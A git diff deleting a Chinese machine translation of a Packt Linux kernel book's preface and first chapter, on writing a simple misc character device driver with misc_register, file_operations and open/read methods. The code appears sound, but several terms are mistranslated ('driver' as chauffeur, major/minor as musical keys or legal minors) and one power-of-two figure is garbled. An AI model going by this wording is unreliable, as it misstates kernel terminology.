-**粗体**:表示一个新的术语、一个重要的单词或者你在屏幕上看到的单词。例如,菜单或对话框中的单词像这样出现在文本中。下面是一个示例:“从管理面板中选择系统信息。” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 取得联系 - -我们随时欢迎读者的反馈。 - -**一般反馈**:如果你对这本书的任何方面有疑问,在你的信息主题中提到书名,发邮件给我们`customercare@packtpub.com`。 - -**勘误表**:虽然我们已经尽了最大的努力来保证内容的准确性,但是错误还是会发生。如果你在这本书里发现了一个错误,如果你能向我们报告,我们将不胜感激。请访问[www.packtpub.com/support/errata](https://www.packtpub.com/support/errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的我们作品的非法拷贝,如果您能提供我们的位置地址或网站名称,我们将不胜感激。请通过`copyright@packt.com`联系我们,并提供材料链接。 - -**如果你有兴趣成为一名作者**:如果有一个你有专长的话题,你有兴趣写或者投稿一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -## 复习 - -请留下评论。一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢?然后,潜在的读者可以看到并使用您不带偏见的意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢大家! - -更多关于 Packt 的信息,请访问[packt.com](http://www.packt.com/)。 \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/1.md b/docs/linux-kernel-prog-pt2/1.md deleted file mode 100644 index 64bce5b9..00000000 --- a/docs/linux-kernel-prog-pt2/1.md +++ /dev/null @@ -1,910 +0,0 @@ -# 一、编写简单的杂项字符设备驱动 - -毫无疑问,设备驱动程序是一个巨大而有趣的话题。不仅如此,它们可能是我们一直在使用的**可加载内核模块** ( **LKM** )框架最常见的用法。在这里,我们将向您介绍如何在一个名为`misc`的类中编写一些简单而完整的 Linux 字符设备驱动程序;是的,那是杂项的简称。我们希望强调的是,这一章的范围和覆盖面是有限的——在这里,我们不试图深入研究关于 Linux 驱动程序模型及其许多框架的深层细节;相反,我们通过本章的*进一步阅读*部分向您推荐几本关于这个主题的优秀书籍和教程。我们在这里的目的是让您快速熟悉编写简单字符设备驱动程序背后的整体概念。 - -话虽如此,这本书确实有几章是专门介绍一个司机作者需要知道的。除了这一介绍性章节之外,我们还(详细)介绍了驱动程序作者如何使用硬件输入/输出内存、硬件中断处理(及其许多子主题)以及内核机制,如延迟、定时器、内核线程和工作队列。还详细介绍了各种用户内核通信路径或接口的使用。然后,本书的最后两章将重点介绍对任何内核开发都非常重要的东西,包括驱动程序——内核同步。 - -我们更愿意编写一个简单的 Linux *字符* *设备驱动程序*而不仅仅是我们“通常的”内核模块的其他原因如下: - -* 到目前为止,我们的内核模块已经相当简单,只有`init`和`cleanup`功能,仅此而已。一个设备驱动程序提供*几个*进入内核的入口点;这些是文件相关的系统调用,称为*驱动程序的方法*。所以,我们可以有一个`open()`法、一个`read()`法、一个`write()`法、一个`llseek()`法、一个`[unlocked|compat]_ioctl()`法、一个`release()`法等等。 - -FYI, all possible "methods" (functions) the driver author can hook into are in this key kernel data structure: `include/linux/fs.h:file_operations` (more on this in the *Understanding the connection between the process, the driver, and the kernel* section). - -* 这种情况简直更现实,也更有趣。 - -在本章中,我们将涵盖以下主题: - -* 开始编写简单的杂项字符设备驱动程序 -* 将数据从内核复制到用户空间,反之亦然 -* 有秘密的杂项司机 -* 问题和安全关切 - -# 技术要求 - -我假设您已经通过了*前言*部分*来充分利用本书*,并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高的稳定版本)的来宾 VM,并且安装了所有需要的软件包。如果没有,我强烈建议你先做这个。为了最大限度地利用这本书,我强烈建议您首先设置工作空间环境,包括克隆这本书的 GitHub 代码存储库,并以动手的方式进行处理。知识库可以在这里找到:[https://github . com/PacktPublishing/Linux-内核-编程-第 2 部分](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/ch1)。 - -# 开始编写简单的杂项字符设备驱动程序 - -在本节中,您将首先学习所需的背景材料—了解设备文件(或节点)及其层次结构的基础知识。之后,您将学习——通过实际编写一个非常简单的`misc`字符驱动程序的代码——原始字符设备驱动程序背后的内核框架。接下来,我们将介绍如何通过用户空间应用创建设备节点并测试驱动程序。我们开始吧! - -## 了解设备基础知识 - -一些快速的背景是合适的。 - -一个**设备驱动**是操作系统和外围硬件设备之间的接口。它可以内联编写——即在内核映像文件中编译*——或者更常见的是,作为内核模块在内核源代码树之外编写(我们在配套指南 *Linux 内核编程、* *第 4 章*、*编写您的第一个内核模块—LKMs 第 1 部分*、*第 5 章*、*编写您的第一个内核模块—LKMs 第 2 部分*)中详细介绍了 LKM 框架)。无论哪种方式,驱动程序代码肯定是在操作系统特权下运行的,在内核空间(用户空间设备驱动程序确实存在,但可能会遇到性能问题;虽然在许多情况下很有用,但我们这里不涉及它们。请看*进一步阅读*部分。* - - *为了让用户空间应用能够访问内核中的底层设备驱动程序,需要一些输入/输出机制。Unix(以及 Linux)设计是让进程打开一种特殊类型的文件——一个**设备文件**,或者**设备节点**。这些文件通常位于`/dev`目录中,在现代系统中是动态自动填充的。设备节点充当设备驱动程序的入口点。 - -为了让内核区分设备文件,它在其索引节点数据结构中使用了两个属性: - -* 文件类型–字符(字符)或块 -* 大调和小调 - -您将看到**命名空间**—设备类型和`{major#, minor#}`对—形成了一个**层次结构**。设备(以及它们的驱动程序)被组织在内核的树状层次结构中(内核中的驱动程序核心代码负责这个)。首先根据设备类型(块或字符)划分层次结构。其中,每种类型都有一些 *n* 主号,每个主号通过一些 *m* 次号进一步分类;*图 1.1* 展示了这个层次。 - -现在,块设备和字符设备之间的主要区别在于,块设备具有(内核级)装载的能力,因此成为用户可访问文件系统的一部分。无法安装字符设备;因此,存储设备往往是基于块的。这样想(有点简单但有用):如果(硬件)设备不是存储设备,也不是网络设备,那么它就是字符设备。大量设备属于“字符”类别,包括您典型的 I2C/SPI(集成电路/串行外设接口)传感器芯片(温度、压力、湿度等)、触摸屏、**实时时钟** ( **RTC** )、媒体(视频、相机、音频)、键盘、鼠标等。USB 在内核中形成一个类,用于基础设施支持。USB 设备可以是块设备(笔式驱动器、u 盘)、字符设备(鼠标、键盘、摄像头)或网络(USB 软件狗)设备。 - -从 2.6 Linux 开始,`{major:minor}`对是 inode 中的单个无符号 32 位数量,一个位掩码(它是`dev_t i_rdev`成员)。在这 32 位中,MSB 12 位代表主要数字,其余 LSB 20 位代表次要数字。快速计算显示,因此最多可以有 2 个 12 个 = 4,096 个主要数字和 2 个 20 个,即每个主要数字有一百万个次要数字。所以,看一下*图 1.1*;在区块层级内,可能有 4,096 个专业,每个专业最多可以有 100 万个未成年人。同样,在角色层级中,可能有 4,096 个专业,每个专业最多可以有 100 万个未成年人: - -![](img/8443be53-6cc9-4d81-9522-26c8b89e34cc.png) - -Figure 1.1 – The device namespace or hierarchy - -你可能会想:这个*大调:小调*数字对到底是什么意思?把主要数字想象成代表设备的**类** (是 SCSI 磁盘、键盘、**电传终端** ( **tty** )还是**伪终端** ( **pty** )设备、环回设备(是的,这些是伪硬件设备)、操纵杆、磁带设备、帧缓冲器、传感器芯片、触摸屏等等?).确实有各种各样的设备;为了了解有多少,我们强烈建议您查看这里的内核文档:[https://www . kernel . org/doc/Documentation/admin-guide/devices . txt](https://www.kernel.org/doc/Documentation/admin-guide/devices.txt)(这是 Linux 操作系统所有可用设备的官方注册表。它的正式名称是**LANANA**–Linux 名称和号码分配机构!只有这些人可以正式为设备分配设备节点-类型和*主要:次要*编号。 - -次要数字的含义(解释)完全留给司机作者;内核不干涉。通常,驱动程序会将设备的次要编号解释为代表设备的物理或逻辑实例,或者代表某种功能。(例如,**小型计算机系统接口** ( **SCSI** )驱动程序——块类型,主`#8`——使用次要数字来表示多达 16 个磁盘的逻辑磁盘分区。另一方面,字符专业`#119`由 VMware 的虚拟网络控制驱动程序使用。在这里,未成年人被解释为第一虚拟网络、第二虚拟网络等等。)同样,所有的司机自己给他们的次要数字赋予意义。但是每个好的规则都有例外。这里,规则的例外——内核不解释次要数字——是`misc`类(类型字符,主要`#10`)。它使用次要数字作为二级专业。这将在下一节中介绍。 - -一个常见的问题是命名空间耗尽。几年前做出的一项决定“收集”了各种各样的字符设备——许多老鼠(不,不是动物界的品种)、传感器、触摸屏等等——到一个名为`misc`或“**杂项**类的类中,该类被分配了字符主号`10`。在`misc`班里面住着很多设备和它们对应的驱动程序。实际上,他们共享同一个主要号码,并依靠唯一的次要号码来识别自己。我们将使用这个类并利用内核的“杂项”框架编写一些驱动程序。 - -许多设备已经通过 **LANANA (Linux 名称和号码分配机构)**被分配到`misc`字符设备类中。*图 1.2* 显示了来自[https://www . kernel . org/doc/Documentation/admin-guide/devices . txt](https://www.kernel.org/doc/Documentation/admin-guide/devices.txt)的部分截图,显示了前几个`misc`设备、它们分配的次要号码以及简要描述。完整列表请参见参考链接: - -![](img/a7dd011e-66e6-48a7-be40-7e7a4bd61a5e.png) - -Figure 1.2 – Partial screenshot of misc devices: char type, major # 10 - -在*图 1.2* 中,最左边一列有`10 char`,指定其在设备层级的字符类型下被分配了专业`# 10`(图 1.1 )。右边的列是`minor# = /dev/ `的形式;很明显,这是分配的次要编号,后面是(在`=`符号之后)设备节点和一行描述。 - -## 关于 Linux 设备模型的快速说明 - -无需赘述,快速浏览一下现代统一的 **Linux 设备模型** ( **LDM** )非常重要。现代 Linux,从 2.6 内核开始,有一个奇妙的特性,LDM,它用一个广泛而大胆的笔画实现了系统和设备的许多目标。在其众多功能中,它创建了一个复杂的层次树,统一了系统组件、所有外围设备及其驱动程序。这个树通过 sysfs 伪文件系统暴露给用户空间(类似于 procfs 如何向用户空间暴露一些内核和进程/线程内部细节),并且通常安装在`/sys`下。在`/sys`中,你会发现几个目录——你可以把它们看作是 LDM 的“视窗”。在我们的 x86_64 Ubuntu 虚拟机上,我们显示了安装在`/sys`下的 sysfs 文件系统: - -```sh -$ mount | grep -w sysfs -sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) -``` - -此外,看看里面: - -```sh -$ ls -F /sys/ -block/ bus/ class/ dev/ devices/ firmware/ fs/ hypervisor/ kernel/ module/ power/ -``` - -将这些目录视为 LDM 的视窗,这是查看系统上设备的不同方式。当然,随着事情的发展,更多的人倾向于进来而不是出去(膨胀方面!).几个不明显的目录现在已经进入了这里。虽然(与 procfs 一样)sysfs 被正式记录为一个**应用二进制接口** ( **ABI** )接口,但它随时可能被更改/废弃;现实是,这个系统会随着时间的推移而存在——当然,也会不断发展。 - -稍微简单一点,LDM 可以被认为拥有——并结合在一起——这些主要组成部分: - -* 系统上的**总线**。 -* 上面的**装置**。 -* 驱动设备的**设备驱动程序**(通常也称为**客户端**驱动程序)。 - -LDM 的一个基本原则是 ***每一个设备都必须驻留在一个总线*** 上。这可能看起来很明显:USB 设备将在 USB 总线上,PCI 设备在 PCI 总线上,I2C 设备在 I2C 总线上,等等。因此,在`/sys/bus`层级下,您将能够通过总线“看到”所有设备,它们位于: - -![](img/52912a35-54ca-415f-8d53-6e566e2f2054.png) - -Figure 1.3 – The different buses or bus driver infrastructure on modern Linux (on an x86_64) - -内核的驱动程序内核提供总线驱动程序(通常是内核映像本身的一部分,或者根据需要在启动时自动加载),这当然会使总线发挥作用。他们的工作是什么?至关重要的是,他们组织并识别他们身上的设备。如果一个新的设备出现(也许你插入了一个笔式驱动器),USB 总线驱动程序将识别这个事实,并将其绑定到它的(USB 大容量存储)设备驱动程序!一旦成功绑定(许多术语用来描述这一点:绑定、枚举、发现),内核驱动程序框架调用驱动程序的注册`probe()`方法(函数)。这种探测方法现在可以设置设备、分配资源、IRQ、内存设置、根据需要注册等等。 - -关于 LDM,需要了解的另一个关键方面是,现代 LDM 司机通常应该做到以下几点: - -* 将自己注册到(专门的)内核框架。 -* 向总线注册。 - -它注册到的内核框架取决于您使用的设备类型;例如,驻留在 I2C 总线上的 RTC 芯片的驱动程序将向内核的 RTC 框架(通过`rtc_register_device()` API)和 I2C 总线(内部通过`i2c_register_driver()` API)注册自己。另一方面,PCI 总线上的网络适配器(网卡)的驱动程序通常会将其自身注册到内核的网络基础设施(通过`register_netdev()`应用编程接口)和 PCI 总线(通过`pci_register_driver()`应用编程接口)。注册一个专门的内核框架使你作为驱动作者的工作变得更加容易——内核通常会提供帮助例程(甚至数据结构)来处理输入/输出细节等等。以前面提到的 RTC 芯片驱动为例。 - -你不需要知道如何通过 I2C 总线与芯片通信的细节,只需按照 I2C 协议的要求,在**串行时钟** ( **SCL** )/ **串行数据** ( **SDA** )线路上一点点敲打出数据。内核 I2C 总线框架为您提供了方便的例程(例如通常使用的`i2c_smbus_*()`API),让您可以毫不费力地通过总线与相关芯片进行通信! - -If you're wondering how to get more information on these driver APIs, here's the good news: the official kernel documentation has plenty to offer. Do look up *The Linux driver implementer’s API guide* here: [https://www.kernel.org/doc/html/latest/driver-api/index.html](https://www.kernel.org/doc/html/latest/driver-api/index.html). - -(下面两章我们确实展示了一些司机`probe()`方法的例子;在那之前,请耐心等待。)相反,当设备与总线分离或内核模块卸载(或系统关闭)时,分离会导致驱动程序的`remove()`(或`disconnect()`)方法被调用。在这两者之间,设备通过其驱动程序(总线和客户端)进行工作! - -请注意,我们在这里掩盖了许多内在的细节,因为它们超出了本书的范围。重点是让你从概念上了解 LDM。更多详细信息,请参考*进一步阅读*部分的文章和链接。 - -在这里,我们希望保持我们的驱动程序覆盖非常简单和最小,更多地关注底层基础。因此,我们选择编写一个可能使用最简单内核框架的驱动程序——即`misc`或*杂项*内核框架。在这种情况下,驱动程序甚至不需要向任何总线(驱动程序)显式注册。事实上,它更像这样:我们的驱动程序直接在硬件上工作*,而不需要任何特定的总线基础设施支持。* - -In our particular example using the `misc`kernel framework, since we don't explicitly register with any bus (driver), we don't even require the `probe()`/`remove()` methods. This keeps things simple. On the other hand, once you have understood this simplest of drivers, I encourage you to go further and look at writing device drivers with the typical kernel framework registration plus bus driver registration, thus employing the `probe()`/`remove()` methods. A good way to get started is to learn how to write a simple **platform driver**, registering it with the kernel's `misc`framework and the *platform bus*, a pseudo-bus infrastructure that supports devices that do not physically reside on any physical bus (this is more common than you might at first imagine; several peripherals built into a modern **System on Chip** (**SoC**) are not on any physical bus, and thus their drivers are typically platform drivers). To get started, look under the kernel source tree in `drivers/` for code invoking the `platform_driver_register()` API. The official kernel documentation here covers platform devices and drivers: [https://www.kernel.org/doc/html/latest/driver-api/driver-model/platform.html#platform-devices-and-drivers](https://www.kernel.org/doc/html/latest/driver-api/driver-model/platform.html#platform-devices-and-drivers). - -As additional help, note the following: -- Do refer to [Chapter 2](2.html), *User-Kernel Communication Pathways*, particularly the *Creating a simple platform device* and *Platform devices* sections. -- An exercise (see the *Questions* section) for this chapter is to write such a driver. I have provided a sample (and very simple) implementation here: `solutions_to_assgn/ch12/misc_plat/`. - -然而,我们确实需要内核的`misc`框架支持,因此我们向它注册。接下来,理解这一点也很关键:我们的驱动程序是一个逻辑驱动程序,也就是说,它没有驱动实际的物理设备或芯片。这是很常见的情况(当然,你可以说,这里,正在处理的硬件是内存)。 - -所以,如果我们要编写一个属于这个`misc`类的 Linux 字符设备驱动程序,我们首先需要向它注册。接下来,我们将需要一个唯一的(未使用的)次要号码。同样,有一种方法可以让内核动态地为我们分配一个空闲的次要号码。以下部分涵盖了这些方面以及更多内容。 - -## 编写杂项驱动程序代码–第 1 部分 - -二话没说,我们来看看编写简单骨架字符`misc`设备驱动的代码!(嗯,实际代码的片段;和往常一样,我强烈建议您`git clone`这本书的 GitHub 资源库,详细查看,并自己尝试代码。) - -让我们一步一步来看:在我们的第一个设备驱动程序的`init`代码中(使用 LKM 框架),我们必须首先**用合适的 Linux 内核的框架注册** 我们的驱动程序;在这种情况下,有了`misc` 框架。这是通过`misc_register()`应用编程接口完成的。它需要一个参数,一个指向类型为`miscdevice`的数据结构的指针,该数据结构描述了我们正在设置的各种设备: - -```sh -// ch1/miscdrv/miscdrv.c -#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__ -[...] -#include -#include /* the fops, file data structures */ -[...] - -static struct miscdevice llkd_miscdev = { - .minor = MISC_DYNAMIC_MINOR, /* kernel dynamically assigns a free minor# */ - .name = "llkd_miscdrv", /* when misc_register() is invoked, the kernel - * will auto-create a device file as /dev/llkd_miscdrv ; - * also populated within /sys/class/misc/ and /sys/devices/virtual/misc/ */ - .mode = 0666, /* ... dev node perms set as specified here */ - .fops = &llkd_misc_fops, /* connect to this driver's 'functionality' */ -}; - -static int __init miscdrv_init(void) -{ - int ret; - struct device *dev; - - ret = misc_register(&llkd_miscdev); - if (ret != 0) { - pr_notice("misc device registration failed, aborting\n"); - return ret; - } - [ ... ] -``` - -在`miscdevice`结构实例中,我们执行以下操作: - -1. 我们将`minor`字段设置为`MISC_DYNAMIC_MINOR`。这具有请求内核动态分配给我们一个可用的次要号码的效果(一旦注册成功,这个`minor`字段将被填充分配的实际次要号码)。 -2. 我们初始化`name`字段。注册成功后,内核框架会代表我们自动创建一个设备节点(形式为`/dev/`)!不出所料,类型为字符,主数字为`10`,次数字为动态赋值。这是使用内核框架的(部分)优势;否则,我们可能不得不自己设计一种方法来创建设备节点;顺便说一下,`mknod(1)`实用程序可以在以 root 权限调用时创建设备文件(或者您具有`CAP_MKNOD`功能);它通过调用`mknod(2)`系统调用工作! -3. 设备节点的权限将被设置为您将`mode`字段初始化为的任何值(这里,我们特意通过`0666`八进制值保持它的许可性和可读写性)。 -4. 我们将把文件操作(`fops`)结构成员的讨论推迟到下一节。 - -所有`misc`驱动程序都是字符类型,使用相同的主编号(`10`,但当然需要唯一的次编号。 - -### 理解进程、驱动程序和内核之间的联系 - -在这里,我们将深入研究在 Linux 上成功注册字符设备驱动程序的内核内部。实际上,您将开始理解底层原始字符驱动程序框架的工作原理。 - -`file_operations`结构,或通常所说的 **fops** (发音为 *eff-opps* )对于驾驶员作者至关重要;fops 结构的大多数成员都是函数指针——把它们想象成**虚拟方法** *。*它们代表所有可能在(设备)文件上发出的文件相关系统调用。所以,它有`open` *、* `read` *、* `write` *、* `poll` *、* `mmap` *、* `release` *、*等多个成员(其中大部分是函数指针)。这里显示了这个关键数据结构的一些成员: - -```sh -// include/linux/fs.h struct file_operations { - struct module *owner; - loff_t (*llseek) (struct file *, loff_t, int); - ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); - ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); -[...] - __poll_t (*poll) (struct file *, struct poll_table_struct *); - long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); - long (*compat_ioctl) (struct file *, unsigned int, unsigned long); - int (*mmap) (struct file *, struct vm_area_struct *); - unsigned long mmap_supported_flags; - int (*open) (struct inode *, struct file *); - int (*flush) (struct file *, fl_owner_t id); - int (*release) (struct inode *, struct file *); -[...] - int (*fadvise)(struct file *, loff_t, loff_t, int); -} __randomize_layout; -``` - -驱动程序作者(或底层内核框架)的一项关键工作是填充这些函数指针,从而将它们链接到驱动程序中的实际代码。当然,你不必实现每一个功能;详见*处理不支持的方法*部分。 - -现在,让我们假设您已经编写了驱动程序来为一些`f_op`方法设置函数。一旦您的驱动程序注册到内核,通常是通过内核框架,当任何用户空间进程(或线程)打开注册到该驱动程序的设备文件时,内核**虚拟文件系统交换机** ( **VFS** )层将接管。无需深入讨论细节,只需说 VFS 为设备文件分配并初始化该进程的打开文件数据结构(`struct file`)。现在,回忆一下我们`struct miscdevice`初始化中的最后一行;是这样的: - -```sh - .fops = &llkd_misc_fops, /* connect to this driver's 'functionality' */ -``` - -这一行代码有一个关键作用:它将进程的文件操作指针(在进程的打开文件结构中)与设备驱动程序的文件操作结构联系起来。*功能–驱动程序将执行的操作–*现在已经为此设备文件设置好了! - -让我们充实一下。现在(在你的驱动程序初始化之后),一个用户模式进程打开你的驱动程序的设备文件,通过对它发出`open(2)`系统调用。假设一切顺利(也应该如此),这个过程现在通过内核深处的`file_operations`结构指针连接到您的驱动程序。这里有一个关键点:在`open(2)`系统调用成功返回,并且进程在那个(设备)文件上发出任何与文件相关的系统调用`foo()`之后,内核 VFS 层将以面向对象的方式进行(我们在本书中已经指出了这一点!),盲目而笃信地调用注册 **`fops->foo()`** 的方法!用户空间进程打开的文件,通常是`/dev`中的设备文件,内部由`struct file`元数据结构表示(指向这个的指针`struct file *filp`被传递给驱动程序)。因此,就伪代码而言,当用户空间发出一个与文件相关的系统调用`foo()`时,这就是内核 VFS 层有效做的事情: - -```sh -/* pseudocode: kernel VFS layer (not the driver) */ -if (filp->f_op->foo) - filp->f_op->foo(); /* invoke the 'registered' driver method corresponding to 'foo()' */ -``` - -因此,如果打开设备文件的用户空间进程调用其上的`read(2)`系统调用,内核 VFS 将调用`filp->f_op->read(...)`,实际上将控制重定向到设备驱动程序。你作为设备驱动作者的工作就是提供`read(2)`的功能!所有其他与文件相关的系统调用也是如此。本质上,这就是 Unix 和 Linux 如何实现众所周知的*如果这不是一个过程,这是一个文件设计*原则。 - -#### 处理不支持的方法 - -您不必填充`f_ops`结构的每个成员,只需填充您的驱动程序支持的成员。如果是这种情况,并且您已经填充了一些方法,但是遗漏了`poll`方法,并且用户空间进程在您的设备上调用`poll(2)`(也许您已经记录了它不应该被调用的事实,但是如果它调用了呢?),那么会发生什么呢?在这种情况下,内核 VFS 检测到`foo`指针(在本例中为`poll`)为`NULL`,返回一个适当的负整数(实际上遵循相同的`0` / `-E`协议)。`glibc`代码会将其乘以`-1`,并将调用过程的`errno`变量设置为该值,表示系统调用失败。 - -需要注意两点: - -* 很多时候,VFS 返回的负值并不是很直观。(例如,如果您已经将`f_op`的`read()`功能指针设置为`NULL`,则 VFS 会将`EINVAL`值发回。这让用户空间流程认为`read(2)`失败是因为一个`"Invalid argument"`错误,根本不是这样!) -* `lseek(2)`系统调用让驱动程序寻找文件中的指定位置——当然,这里指的是设备中。内核故意将`f_op`函数指针命名为`llseek`(注意两个“`l`)。这只是提醒你`lseek`的返回值可以是 64 位(长)量。现在,对于大多数硬件设备来说,`lseek`值没有意义,因此大多数驱动程序不需要实现它(不像文件系统)。现在的问题是这样的:即使你不支持`lseek`(你已经将`f_op`的`llseek`成员设置为`NULL`,它仍然会返回一个随机正值,从而导致用户模式 app 错误地认为它成功了。因此,如果您没有实现`lseek`,您需要执行以下操作: - 1. 明确将`llseek`设置为特殊的`no_llseek`值,这将导致故障值(`-ESPIPE`;`illegal seek`)待退回。 - 2. 在这种情况下,您还需要在驱动程序的`open()`方法中调用`nonseekable_open()`函数,指定文件不可查找(这在`open()`方法中通常称为:`return nonseekable_open(struct inode *inode, struct file *filp);`)。细节,以及更多,都包含在这里的 LWN 文章:[https://lwn.net/Articles/97154/](https://lwn.net/Articles/97154/)。你可以在这里看到这对许多司机造成的变化:[https://lwn.net/Articles/97180/](https://lwn.net/Articles/97180/)。 - -如果您不支持某个函数,一个合适的返回值是`-ENOSYS`,这将使用户模式进程看到错误`Function not implemented`(当它调用`perror(3)`或`strerror(3)`库 API 时)。这是明确的,毫不含糊的;用户空间开发人员现在将理解您的驱动程序不支持此功能。因此,实现驱动程序的一种方法是设置指向所有文件操作方法的指针,并在驱动程序中为所有与文件相关的系统调用(T4 方法)编写一个例程。对于你支持的,写代码;对于没有实现的,只需返回值`-ENOSYS`。虽然做起来有点费力,但它会给用户空间带来明确的返回值。 - -## 编写杂项驱动程序代码–第 2 部分 - -有了这些知识,再来看看`ch1/miscdrv/miscdrv.c`的`init`代码。您将看到,正如上一节所述,我们已经将`miscdev`结构的`fops`成员初始化为`file_operations`结构,从而设置了驱动程序的功能。相关的代码片段(来自我们的驱动程序)如下: - -```sh -static const struct file_operations llkd_misc_fops = { - .open = open_miscdrv, - .read = read_miscdrv, - .write = write_miscdrv, - .release = close_miscdrv, -}; - -static struct miscdevice llkd_miscdev = { - [ ... ] - .fops = &llkd_misc_fops, /* connect to this driver's 'functionality' */ -}; -``` - -所以,现在你可以看到:当一个打开了我们的设备文件的用户空间进程(或线程)调用,比如说`read(2)`系统调用时,内核 VFS 层将跟随指针(一般来说,`filp->f_op->foo()`)并调用函数,`read_miscdrv()`,实际上将控制权移交给设备驱动程序!下一节将详细介绍如何编写 read 方法。 - -继续我们简单的`misc`驾驶员的`init` 代码: - -```sh - [ ... ] - /* Retrieve the device pointer for this device */ - dev = llkd_miscdev.this_device; - pr_info("LLKD misc driver (major # 10) registered, minor# = %d," - " dev node is /dev/%s\n", llkd_miscdev.minor, llkd_miscdev.name); - dev_info(dev, "sample dev_info(): minor# = %d\n", llkd_miscdev.minor); - return 0; /* success */ -} -``` - -我们的驱动程序检索一个指向`device`结构的指针——这是每个驱动程序都需要的东西。在`misc`内核框架中,它在我们的`miscdevice`结构的`this_device`成员中可用。 - -接下来,`pr_info()`显示动态获得的次数值。`dev_info()`帮手套路更有意思:作为一个司机作者,你在发射`printk`的时候预计会用到这些`dev_xxx()`帮手;它还会为有关设备的有用信息添加前缀。`dev_xxx()`和`pr_xxx()`助手之间唯一的语法差异是前者的第一个参数是指向设备结构的指针。 - -好吧,让我们把手弄脏!我们构建驱动程序并将其放入内核空间(我们使用我们的`lkm`助手脚本来这样做): - -![](img/eef5c47b-24ea-480d-9ca9-c520c1f96fb0.png) - -Figure 1.4 – Screenshot of building and loading our miscdrv.ko skeleton misc driver on an x86_64 Ubuntu VM - -(顺便说一下,正如你在*图 1.4* 中看到的,我在一个更新的发行版上试用了这个`misc`驱动程序:运行 5.4.0-58 通用内核的 Ubuntu 20.04.1 LTS。)注意*图 1.4* 底部的两张图;第一个是通过`pr_info()`(前缀为`pr_fmt()`宏内容,如配套指南 *Linux 内核编程-* *第 4 章,编写您的第一个内核模块- LKMs 第 1 部分*部分*通过 pr_fmt 宏*标准化 printk 输出中所述)。第二个打印是通过`dev_info()`助手例程发出的——它的前缀是`misc llkd_miscdrv`,表示它源自内核的`misc`框架,特别是`llkd_miscdrv`设备!(`dev_xxx()`套路多才多艺;根据他们乘坐的公共汽车,他们会显示各种细节。这对于调试和日志记录非常有用。我们重复一遍:建议你在编写驱动时使用`dev_*()`例程。)还可以看到`/dev/llkd_miscdrv`设备节点确实创建了,预期类型(字符)和主副对(这里是 10 和 56)。 - -## 编写杂项驱动程序代码–第 3 部分 - -现在`init`代码完成,驱动功能已经通过文件操作结构设置好,驱动注册到内核`misc`框架。那么,接下来会发生什么?嗯,实际上没有什么,直到一个进程打开设备文件(与您的驱动程序相关联)并执行某种输入/输出(输入/输出,即读/写)。 - -因此,让我们假设一个用户模式进程(或线程)在驱动程序的设备节点上发出`open(2)`系统调用(回想一下,当驱动程序向内核的`misc`框架注册自己时,设备节点已经自动创建)。最重要的是,正如您在*了解进程、驱动程序和内核*之间的联系一节中所学的,对于在您的设备节点上发出的任何与文件相关的系统调用,VFS 本质上将调用驱动程序的(`f_op`)注册方法。因此,在这里,VFS 将这样做:`filp->f-op->open()`,从而在我们的`file_operations`结构内调用我们的驾驶员的`open`方法,这就是`open_miscdrv()`功能! - -但是你这个驱动作者应该如何实现你的驱动的`open`方法的这个代码呢?重点是这个:你的`open`功能**的签名应该和`file_operation`结构`open`的签名一样**;事实上,任何函数都是如此。因此,我们这样实现`open_miscdrv()`功能: - -```sh -/* - * open_miscdrv() - * The driver's open 'method'; this 'hook' will get invoked by the kernel VFS - * when the device file is opened. Here, we simply print out some relevant info. - * The POSIX standard requires open() to return the file descriptor on success; - * note, though, that this is done within the kernel VFS (when we return). So, - * all we do here is return 0 indicating success. - * (The nonseekable_open(), in conjunction with the fop's llseek pointer set to - * no_llseek, tells the kernel that our device is not seek-able). - */ -static int open_miscdrv(struct inode *inode, struct file *filp) -{ - char *buf = kzalloc(PATH_MAX, GFP_KERNEL); - - if (unlikely(!buf)) - return -ENOMEM; - PRINT_CTX(); // displays process (or atomic) context info - pr_info(" opening \"%s\" now; wrt open file: f_flags = 0x%x\n", - file_path(filp, buf, PATH_MAX), filp->f_flags); - kfree(buf); - return nonseekable_open(inode, filp); -} -``` - -请注意我们的`open`例程的签名`open_miscdrv()`函数如何与`f_op`结构的`open`函数指针精确匹配(您可以在[https://酏. boot in . com/Linux/v 5.4/source/include/Linux/fs . h # l 1814](https://elixir.bootlin.com/linux/v5.4/source/include/linux/fs.h#L1814)上查找 5.4 Linux 的`file_operations`结构)。 - -在这个简单的驱动程序中,在我们的`open`方法中,我们真的没有太多的事情要做。我们通过`kzalloc()`为一个缓冲区(保存我们设备的路径名)分配一些内存,发布我们的`PRINT_CTX()`宏(在`convenient.h`头中)来显示当前上下文——当前打开设备的过程。然后我们发出一个`printk`(通过`pr_info()`)显示一些 VFS 图层的细节(路径名和开放标志值);您可以通过使用便利 API `file_path()`获得文件的路径名,就像我们在这里做的那样(为此,我们需要分配并在使用后释放一个内核内存缓冲区)。然后,由于我们不支持这个驱动程序中的搜索,我们调用`nonseekable_open()`应用编程接口(如*处理不支持的方法*部分所述)。 - -设备文件上的`open(2)`系统调用应该成功。用户模式进程现在将有一个有效的文件描述符——一个打开文件的句柄(这里实际上是一个设备节点)。现在,假设用户模式进程想要从硬件中读取数据;因此,它发出`read(2)`系统调用。正如已经解释的,内核 VFS 现在将自动调用我们的驱动程序的读取方法,`read_miscdrv()`。同样,它的签名完全模仿了`file_operations`数据结构中的读取函数签名。下面是我们的驱动程序读取方法的简单代码: - -```sh -/* - * read_miscdrv() - * The driver's read 'method'; it has effectively 'taken over' the read syscall - * functionality! Here, we simply print out some info. - * The POSIX standard requires that the read() and write() system calls return - * the number of bytes read or written on success, 0 on EOF (for read) and -1 (-ve errno) - * on failure; we simply return 'count', pretending that we 'always succeed'. - */ -static ssize_t read_miscdrv(struct file *filp, char __user *ubuf, size_t count, loff_t *off) -{ - pr_info("to read %zd 